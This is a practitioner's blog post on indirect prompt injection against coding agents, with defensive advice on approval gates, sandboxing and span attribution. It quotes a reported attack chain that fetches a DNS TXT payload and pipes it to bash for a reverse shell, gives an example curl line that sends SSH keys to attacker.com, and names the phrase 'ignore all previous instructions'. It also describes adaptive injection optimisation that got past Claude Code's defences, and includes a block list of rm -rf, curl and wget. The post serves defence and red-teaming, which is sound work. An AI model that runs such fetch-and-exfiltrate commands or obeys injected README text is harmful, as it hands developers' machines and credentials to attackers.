A GitHub repo with zero lines of malicious code in it can open a reverse shell on your laptop through your coding agent. Mozilla’s Zero Day Investigative Network proved it in June 2026: a clean-looking repository, standard pip install instructions, and a Python package rigged to fail on first run. The agent reads the error, follows the “fix,” and three indirection steps later it is piping an attacker’s payload into bash under your user account. Nothing in the repo would ever trip a code scanner. That is indirect prompt injection in a coding agent: an instruction buried in content the agent reads, never typed by you, that hijacks what it does next.

I have spent a few years shoving LLMs into production inference pipelines, and the industry pivoted from “chatbots” to “agents” faster than anyone hardened them. The pitch is always the same fairy tale: an autonomous assistant that reads your code, writes tests, and deploys fixes while you sleep. For anyone who has run one of these things with shell access, that is not a dream. You have handed a non-deterministic text generator a bash shell and the keys to your environment variables.

The first time I ran Pi against an unfamiliar repo to see how it handled a bootstrap, it autonomously executed a make setup target that curled a shell script off a domain I had never heard of and ran it. Nothing broke. But I only caught the outbound fetch because I was watching the raw command log, and it took me a second read to register that the agent had made a decision I never approved. That is the whole problem in one moment. Thinking that “safe” prompts guarantee safe outputs misunderstands how these workflows actually break. The danger is not some clever user in a chat box. It is the untrusted data your agent pulls in from the outside world.

Key Takeaways

Prompt injection succeeds against coding agents because a language model cannot reliably tell instructions apart from data, and an agent with shell access turns that confusion into remote code execution. The dangerous variant is indirect: the payload rides in on a README, a tool output, or a web page the agent reads, so the developer never sees the attack coming and static analysis finds nothing to flag. Adaptive attacks like IterInject now tune themselves against layered defenses and reached full success on 5 of 9 Claude Code targets, which means a banned-word filter is not a control. The durable defense is to assume injection will land and shrink the blast radius: gate irreversible actions behind human approval, run the agent in a sandbox with no network and no access to your secrets, and log every command with span attribution so you can trace what triggered it.

The “Lethal Trifecta”: Mapping the Attack Surface of Coding Agents

Coding agents are not broken because of one single bug. It is a combination of capabilities. Simon Willison named it the lethal trifecta: untrusted content, sensitive data, and the ability to act. Give an agent all three and you have not built a tool. You have built a remote code execution primitive waiting for a trigger. Most of the open source CLI coding agents people run today check all three boxes by default.

Direct vs. Indirect Injection Channels

Direct prompt injection is the one everyone knows. I can type “ignore all previous instructions” into the chat box myself. Because I know exactly where that input comes from, it is relatively easy to monitor and the channel is one I already plan to defend.

Indirect prompt injection is a different beast. The commands arrive through channels I never expected to carry instructions: a retrieved documentation page, a tool output, a calendar entry, a README in some random third-party repo. The agent treats that text as data but processes it as instructions. Because I did not type the attack, I will not suspect a thing until the damage is done. This distinction is not about the technique, it is about the channel, and the defenses for the two are not the same.

Direct injectionIndirect injection
Where it entersThe chat box you type intoA README, tool output, web page, or PDF the agent reads
Who supplies itThe user, knowinglyA third party, without the user’s knowledge
Is the channel expected to be hostile?Yes, you already plan to defend itNo, it was never modeled as attacker-controlled
Primary defenseInput monitoring on a known surfaceSandboxing, approval gates, and span attribution

The Vulnerability of Agentic Tool Use

Things get dangerous once you move past read-only LLMs. In a standard retrieval setup, an injection might make the model hallucinate or leak some internal data. But coding agents act by calling functions. If the agent can hit the shell, a filesystem API, or a network tool, that indirect injection is now a direct path to system compromise.

Attribution is a nightmare. When an agent starts deleting files or exfiltrating keys, you will not immediately know which piece of retrieved data triggered it. Without per-input logging and span attribution, you are staring at bash logs wondering why any of it happened. What actually helps at scale is a detection layer that scores inputs with a classifier and a rule engine before they reach the executor, and that records which span of retrieved text produced each verdict. You can buy that as a service or build it, but the capability matters more than the vendor.

High-Risk Data Exposure (Env Vars and API Keys)

Most coding agents run with the developer’s own privileges. That gives them a clear shot at .env files, SSH keys, and cloud credentials sitting in the environment. An indirect injection does not need to “hack” anything in the traditional sense. It just convinces the agent to run printenv or curl -X POST -d @~/.ssh/id_rsa attacker.com.

I watched a local agent run printenv mid-task once, and the entire output, including a live cloud token, went straight into the model’s context window before I could stop it. I rotated every key on that machine and lost most of an afternoon to it. Nothing was “breached,” but a secret had left my control the instant it hit the context. There is a wide gap between the marketing phrase “seamless integration” and what it means in practice, which is that the tool reads your environment variables without a sandbox.

Anatomy of an Invisible Breach: The Indirect Injection Chain

Recent research from Mozilla’s Zero Day Investigative Network shows you can wreck a machine without putting a single line of malicious code in the repository itself.

The Invisible Payload: Runtime Execution via DNS

Comparison of a seemingly normal GitHub README versus the indirect prompt injection trigger it contains.

The same README two ways: what the developer reads on the left, and the execution chain the highlighted line sets off on the right.

The 0DIN attack chain is simple, which is why it works. Start with a boring GitHub repo. The README has normal setup instructions, but the Python package it tells you to install is hard-coded to fail on its first run. When it crashes, the error message tells the user, or the agent, to run an initialization command to fix it.

Here is the trick. That command resolves a DNS TXT record from a server the attacker controls, decodes the contents, and pipes them into bash.

bash
# What "python3 -m axiom init" quietly runs under the hood
payload=$(dig +short TXT init.telemetry.attacker-domain.example | tr -d '"')
echo "$payload" | base64 -d | bash   # decoded contents: a reverse shell

The actual payload, a reverse shell in the 0DIN proof of concept, is never in the GitHub repo. It lives in the DNS system and only reaches the machine at runtime. That makes the attack invisible to anyone hunting for “bad code” in the source files.

Why Static Analysis Fails Against IPI

Most security tools hunt for known bad patterns: hardcoded passwords, dangerous calls like eval(). Here there is nothing to scan. The repository is a README and a package that throws an error.

I have watched a scanner return a repo clean and felt the false comfort that comes with a green check. The scanner did its job perfectly. It read every file and found no dangerous code, because the dangerous instruction was English prose in a README telling an agent what to do next. Static analysis cannot predict that an LLM will read that prose, follow it, run a script, and execute a payload fetched from a DNS record. The flaw is not in the code. It is a failure of the agent’s trust model.

Privilege Escalation in Developer Environments

Since these agents run with the developer’s own permissions, the attacker does not need a kernel exploit. They already have the keys to the kingdom. Once that reverse shell lands via the DNS fetch, the attacker owns the session. Now they are reading private keys, scraping internal wikis, or pushing poisoned commits to other repos using an authenticated git session.

Adaptive Threats: Feedback-Guided Iterative Optimization

Static jailbreak prompts are dead. Research into frameworks like IterInject shows that attackers have stopped guessing and started using LLMs to attack other LLMs through a feedback loop.

From Static Payloads to Adaptive Optimization

Static payloads are fragile. One system-prompt tweak or a new safety filter and the whole thing breaks. IterInject automates the trial and error. Instead of guessing the right payload, the framework uses a rule-based diagnoser to figure out exactly why an injection failed, then feeds that failure data back into an LLM optimizer to fix the payload.

I have lost hours to the fragile side of this problem from the defender’s seat. I once tuned a guard prompt for days until it reliably blocked a class of injection, and a minor model point release the following week made it useless overnight. The model’s behavior shifted just enough that my careful wording no longer landed. If a hand-tuned prompt decays that fast against a version bump, a feedback loop that adapts on purpose will chew through it. IterInject is basically a genetic algorithm for prompt injection. The attack evolves based on the defenses it hits.

The Feedback Loop: Diagnosis and Refinement

Here is how the loop functions. First, the system attempts the injection. Next, a diagnoser produces structured labels describing how the victim agent behaved. Finally, an optimizer uses that history to generate new “disguise seeds” designed to slip past specific filters.

If you think a regex filter blocking words like “bash” or “curl” is a real security measure, you are wrong. IterInject will iterate until it finds a synonym or an encoding the LLM understands but your filter misses.

Bypassing Layered Defenses in Production Agents

What matters is how this hits production tools. Tested against Claude Code, which ships layered defenses for coding tasks, optimized payloads achieved full success on 5 of 9 targets. That result should end the comfort of “layered defense” as a phrase. Layers are a series of hurdles an adaptive optimizer eventually clears. If the agent still has the power to execute shell commands, the only thing standing between you and a breach is the quality of your runtime isolation.

Implementing the “Interrupt Pattern” for High-Risk Actions

Accept it: prompt injection is inevitable. Since you cannot stop every attack, the goal shifts from prevention to reducing the blast radius. That is where the interrupt pattern comes in. You cannot trust an agent to decide when a command is safe, so you force it to stop and ask.

Defining Irreversible Actions

AI agent approval queue interface showing a paused execution state for a high-risk action.

The interrupt-gate pattern: it surfaces the exact command and strips any model explanation before you approve or deny.

Checking every action would kill the agent’s utility. Instead, define a narrow category of irreversible actions, the operations you cannot undo with a follow-up API call or a git revert. That category is small and worth naming precisely: deleting cloud resources such as a terraform destroy, sending money or issuing refunds, running shell commands that change system state outside a temporary directory, and moving data to an external domain over curl or wget.

I learned to draw that boundary the expensive way. A cleanup step in a device-fleet test harness once ran an rm -rf against a path that resolved differently on one hardware revision, and it wiped the cached model weights across a batch of boards. Reflashing and re-staging them cost the better part of a day. The action looked trivial in the script. It was not, because nothing paused it before it touched real state.

Designing Interrupt Gates and Approval Queues

Do not treat an interrupt as a popup. It is an architectural gate. When the agent tries to use a high-risk tool, the system triggers the gate, pauses execution, and pushes the request into an approval queue.

Show the user the exact command the agent intends to run, and strip away any LLM explanation that might be trying to talk the human into clicking Allow. The prompt should read: “The agent wants to run rm -rf /var/log. Allow or Deny?” It should not read: “The agent thinks it is helping you clean up logs by running this command. Allow?”

State Persistence and Recovery After Human Approval

State management is where most human-in-the-loop implementations fall apart. If an agent is halfway through a multi-step plan and hits an interrupt, you cannot just kill the process. You have to persist the full state, including conversation history and tool outputs, so you can resume cleanly once approval arrives.

Frameworks like LangGraph handle this with checkpointing. By saving the graph state at every node, you can pause indefinitely and then fire a resume event that puts the agent back into the workflow with the human’s approval token attached.

python
from langgraph.graph import StateGraph
from langgraph.checkpoint.memory import MemorySaver
from langgraph.types import interrupt, Command

IRREVERSIBLE = ("rm -rf", "terraform destroy", "curl", "wget")

def run_shell(state):
    cmd = state["pending_command"]
    if any(tok in cmd for tok in IRREVERSIBLE):
        # Pause here. Show the raw command, not the model's explanation.
        approved = interrupt({"command": cmd})
        if not approved:
            return {"result": "denied by human"}
    return {"result": execute(cmd)}

graph = StateGraph(dict)
graph.add_node("run_shell", run_shell)
graph.set_entry_point("run_shell")
app = graph.compile(checkpointer=MemorySaver())

# Resume later with the human's decision, state intact:
# app.invoke(Command(resume=True), config={"configurable": {"thread_id": "abc"}})

Systemic Isolation: Sandboxing and Runtime Visibility

Your last line of defense is where the code actually runs. Most coding agents fail because they build a direct, unmonitored bridge between LLM output and shell execution.

Isolating Agents from the Host System

Security dialog box surfacing a raw bash command for user verification before execution.

A runtime log with full command transparency, catching the DNS-to-bash fetch the moment it happens.

Stop running agents on your host OS. Put them in a disposable, hardened sandbox. Pi is a useful case study here precisely because it is honest about the problem: it ships with no built-in permission system and runs with the full permissions of whoever launched it. Its own documentation pushes you toward isolation, either running the whole process in Docker with only your working directory mounted, or using the Gondolin extension to route the agent’s read, write, edit, and bash tools into a local Linux micro-VM while auth stays on the host.

bash
# Contain Pi in a throwaway container. Only the working dir is shared.
docker run --rm -it \
  -v "$PWD:/workspace" -w /workspace \
  --network none \
  pi-sandbox pi

Kill networking by default, as the --network none flag above does, or pin it to a strict allow-list of domains. The goal is simple. If an attacker lands RCE through indirect injection, they should wake up trapped in a container with no route to your .ssh folder and no way to pivot into your local network. Containers with dropped capabilities are the floor, not the ceiling.

Runtime Command Transparency

You cannot stop what you cannot see. The runtime needs to announce exactly what is happening in real time: every shell command, every environment variable accessed, every outbound network request.

If an agent resolves a DNS TXT record and pipes it into bash, that sequence should be impossible to miss in the logs, and you need to see the raw payload before the executor touches it. I caught an unexpected outbound DNS lookup during what was supposed to be an offline inference benchmark exactly this way, buried in a verbose command log I almost did not enable. That one line of logging was the difference between noticing a problem and shipping it. This is also an argument for keeping the model itself local. Running an agent against a local model through Ollama removes one whole class of outbound exposure, because inference never leaves the machine to begin with.

Hardening the Execution Environment

Docker alone is not enough for real hardening. Shared-kernel containers leak too much for high-risk agents. For untrusted, agent-generated commands, the current recommendation is to move to microVMs or a user-space kernel: Firecracker or Kata Containers give you hardware-virtualized isolation with a separate kernel per instance and startup under 150ms, while gVisor intercepts syscalls in user space and is what Google and Modal use for their agent sandboxes. Pi’s Gondolin micro-VM approach sits in this category, which is why it is a stronger boundary than the plain Docker pattern above. If you already run models on your own hardware as an architecture choice for latency and privacy, extending that discipline to a real isolation boundary for the agent is the logical next step.

Red-Teaming Agentic Workflows: A Pre-Deployment Checklist

Do not deploy a coding agent to your team until you have tried to break it yourself. Standard pentesting will not cut it. The attack vector is linguistic, not just technical.

Simulating Indirect Injection Vectors

Security monitoring dashboard displaying span attribution to identify the source of a prompt injection.

Span attribution links the flagged command back to the exact README lines that triggered it.

Start with poisoned environments. Build a mock repository with a README full of indirect injection payloads and see if the agent leaks a dummy secret from its environment. Skip static strings, they are useless. Use something like IterInject to refine payloads based on how the agent responds. If your safety layer is a banned-word list, it will fail in minutes. I have seen a wrapper marketed as “secure” fold to a single rephrasing, where swapping one flagged verb for a synonym walked the same request straight through, so assume yours will too until you have proven otherwise.

Validating HITL Checkpoints Under Stress

Stress test your interrupt gates. Craft an injection that tries to trick the human into approving a malicious command, because that is just social engineering routed through an LLM. Vague approval UIs make the human the weakest link, since most people click Allow without reading the command. Then check state persistence during failures. If the agent crashes while waiting for approval, does it leave an orphan process running in the sandbox? You cannot ignore that.

Implementing Span Attribution for Incident Response

Build a real observability stack with span attribution, where every tool call links back to the exact piece of context that triggered it. I once spent an entire morning trying to reconstruct why an agent had run a specific command, and I could not, because the logs recorded the command but not the retrieved text that prompted it. Without that link there was no chain to follow, just a dead end. When a malicious curl fires, you want to trace the reasoning chain straight back to the specific paragraph in a PDF or README where the injection lived. Pipe those logs into whatever you already run, Splunk or Sentinel, and set alerts on high-risk tool usage so someone can kill the session before data leaves the building.


FAQ

Direct injection happens when the user is the attacker, typing malicious instructions into the chat box. Indirect injection occurs when the agent reads untrusted data, like a README or a web page, that contains hidden instructions to hijack its behavior. The defenses differ because the channels differ.

Yes. Mozilla's 0DIN proved it. A repo can use indirect prompt injection to trick an AI agent into fetching and executing a payload from an external source, such as a DNS TXT record, at runtime. That completely bypasses static analysis.

Standard attacks use static payloads. IterInject is a feedback-guided framework that uses a diagnoser and an optimizer to refine the attack based on how the victim agent responds. Against Claude Code, optimized payloads reached full success on 5 of 9 targets.

Any irreversible action: deleting cloud infrastructure, changing system-level configuration, sending payments, or making outbound network requests to unknown domains.

Static analysis looks for bad patterns in code. In these attacks the malicious part is not in the code, it is in the natural-language instructions the LLM reads. The agent then performs a sequence of benign-looking actions that add up to a full compromise.

It is the combination of three factors: access to untrusted content as the vector, access to sensitive data as the target, and the ability to act through tool use as the execution. Have all three and you have a disaster waiting for a trigger.

Run the whole process in a container with only your working directory mounted and networking disabled, or route its tools into a microVM. Pi documents both patterns, plain Docker for a simple boundary and its Gondolin micro-VM extension for stronger isolation. For untrusted commands, Firecracker, Kata Containers, or gVisor give you a real kernel boundary rather than a shared-kernel container.

No. As long as a model reads untrusted content and can act on it, injection is possible, and adaptive attacks already clear layered filters. Treat prevention as impossible and design for containment instead: gate irreversible actions, isolate the runtime, and keep the agent away from real secrets so a successful injection has nowhere useful to go.

Reed Hall

Reed Hall

Staff engineer · ML accelerator hardware · AI tools practitioner

I'm a staff engineer at a large semiconductor company. I've been using AI tools in real engineering workflows since the early days, and I write about what actually works under production constraints.